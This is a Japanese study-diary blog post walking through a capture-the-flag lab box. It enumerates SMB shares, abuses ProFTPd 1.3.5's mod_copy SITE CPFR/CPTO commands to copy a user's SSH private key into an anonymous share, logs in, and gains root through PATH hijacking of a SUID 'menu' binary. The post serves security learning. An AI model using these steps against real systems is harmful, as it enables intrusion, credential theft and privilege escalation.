見出し画像

ペネトレーションテストのおべんきょ日記2

はじめに

記憶は反復である。ということでやったことを雑に整理して書くだけでも記憶に定着するので書いてみるという試みです。
並行して二種電気工事士の勉強もしてるのでこうでもしないと頭に入らぬ。
詳しいことは、以下の記事で。

調査フェーズ1

今回はポートを調査するだけで調査フェーズは終わる。

┌──(kali㉿kali)-[~]
└─$  sudo nmap -Pn -n -sT 10.10.188.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 01:23 EDT
Nmap scan report for 10.10.188.102
Host is up (0.24s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs

詳細を調べる。

┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.188.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 01:31 EDT
Nmap scan report for 10.10.188.102
Host is up (0.24s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.188.102\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.188.102\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.188.102\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 42.26 seconds

調査フェーズ2

とりあえず共有フォルダにアクセスしてみる。

┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.188.102/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: > ls
.                                   D        0  Thu Sep  7 02:17:54 2023
..                                  D        0  Wed Sep  4 06:56:07 2019
log.txt                             N    12237  Wed Sep  4 06:49:09 2019

            9204224 blocks of size 1024. 6877108 blocks available

なんかあった。
log.txtをみるとkenobiアカウントの秘密鍵が /home/kenobi/.ssh/id_rsa に生成されていることが分かった。
さらに、kenobiアカウントでftpサーバが動いていることもログファイルからわかったのでいい感じにやっていく

とりあえずFTPの脆弱性をリストアップする

┌──(kali㉿kali)-[~]
└─$ searchsploit proftpd 1.3.5
--------------------------------------------------------- ---------------------------------
 Exploit Title                                           |  Path
--------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution      | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)  | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                | linux/remote/36742.txt
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results

mod_copyというやつに脆弱性があるっぽい。調べてみた

SITE CPFR コマンドで指定したファイルをコピーすることが可能です。
SITE CPTO <コピー先のファイルのアドレス>
これで任意の場所に未認証でコピーできる!?

こういうのを、SITE CPFRとSITE CPTOコマンドを使ってやりたい。
cp /home/kenobi/.ssh/id_rsa /home/kenobi/share

SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /home/kenobi/share/id_rsa
250 Copy successful

コピーはできたっぽい
SMBで接続してみた。

┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.188.102/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Sep  7 02:17:54 2023
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  id_rsa                              N     1675  Thu Sep  7 02:17:54 2023
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6877108 blocks available
smb: \> get id_rsa 
getting file \id_rsa of size 1675 as id_rsa (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \> 

kenobiの秘密鍵取れた!

kenobiアカウントに侵入してみる。

┌──(kali㉿kali)-[~]
└─$ mkdir box 

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa

┌──(kali㉿kali)-[~]
└─$ sudo mv id_rsa box

┌──(kali㉿kali)-[~]
└─$ ssh -i box/id_rsa kenobi@10.10.188.102
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt 
<1つ目のフラグゲット>

フラグは取ったけど特権昇格しようぜ!

SUIDビットが立ってるファイルを一覧してみる。

一覧した中に、変なファイルが有ったので、とりあえず実行してみたところ

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/menu <----これ。明らかにおかしい。なんだよmenuってw
...

kenobi@kenobi:~$ /usr/bin/menu 
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:8d:b1:c9:3a:95  
          inet addr:10.10.188.102  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::8d:b1ff:fec9:3a95/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:4084 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3762 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:260418 (260.4 KB)  TX bytes:385196 (385.1 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:226 errors:0 dropped:0 overruns:0 frame:0
          TX packets:226 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:16757 (16.7 KB)  TX bytes:16757 (16.7 KB)

外部入力を受け付けずに、指定されたコマンドを管理者権限で実行するコマンドっぽい

管理者で実行しなくてもいいのでは感がありつつ

stringsでバイナリの中の文字列を読んで見る。

kenobi@kenobi:~$ strings /usr/bin/menu 
...
...
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
...
...
kenobi@kenobi:~$ 

つまり、特権昇格した上で
curl -I localhost
uname -r
ifconfig
のいずれかを実行するコマンドの様子。
つまり、これらの実行を乗っ取れれば良い。

ポイントは、フルパスで指定していないところなので、環境変数を書き換えてやれば任意のバイナリを管理者権限で実行できるということになる。
とりあえず /usr/bin/menuから ifconfig を実行する流れ試してみる。

ざっくり手順

  1. rootで実行したいのはシェルなので /bin/shをifconfigに改名してkenobiのhomeに置く。

  2. パスを表示しておく(後でまた使うので)

  3. パスを全部消して、ホームディレクトリのパスに置換する

  4. /usr/bin/menuを実行して3を押すと /home/kenobi/ifconfig(実体はシェル) が実行される

kenobi@kenobi:~$ mv /bin/sh ~/ifconfig
kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ PATH=$(pwd)
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
5. シェルが実行され、 先頭にプロンプトが表示されている。
 PATH環境変数にkenobiの環境変数を入れてコマンドを実行できるようにする。
$ PATH=/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ 
$ ls
ifconfig  share  user.txt
$ whoami
root
$ id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
$ cd /root
$ ls
root.txt
$ cat root.txt
flagが出力される

というわけで攻略完了!
やっぱり最初っからBoxやっとけばなんとなくな流れ分かるし、簡単なやつならサクサク解けていくからこういう進め方すればよかったんだなぁ
もっと早く気付けばよかった。6月の自分に教えてあげたい。

電気工事士?
それはまた別の記事で。
ケーブルの種類とか書いていくので、多分長くなるから。
ほいでは

この記事が気に入ったらサポートをしてみませんか?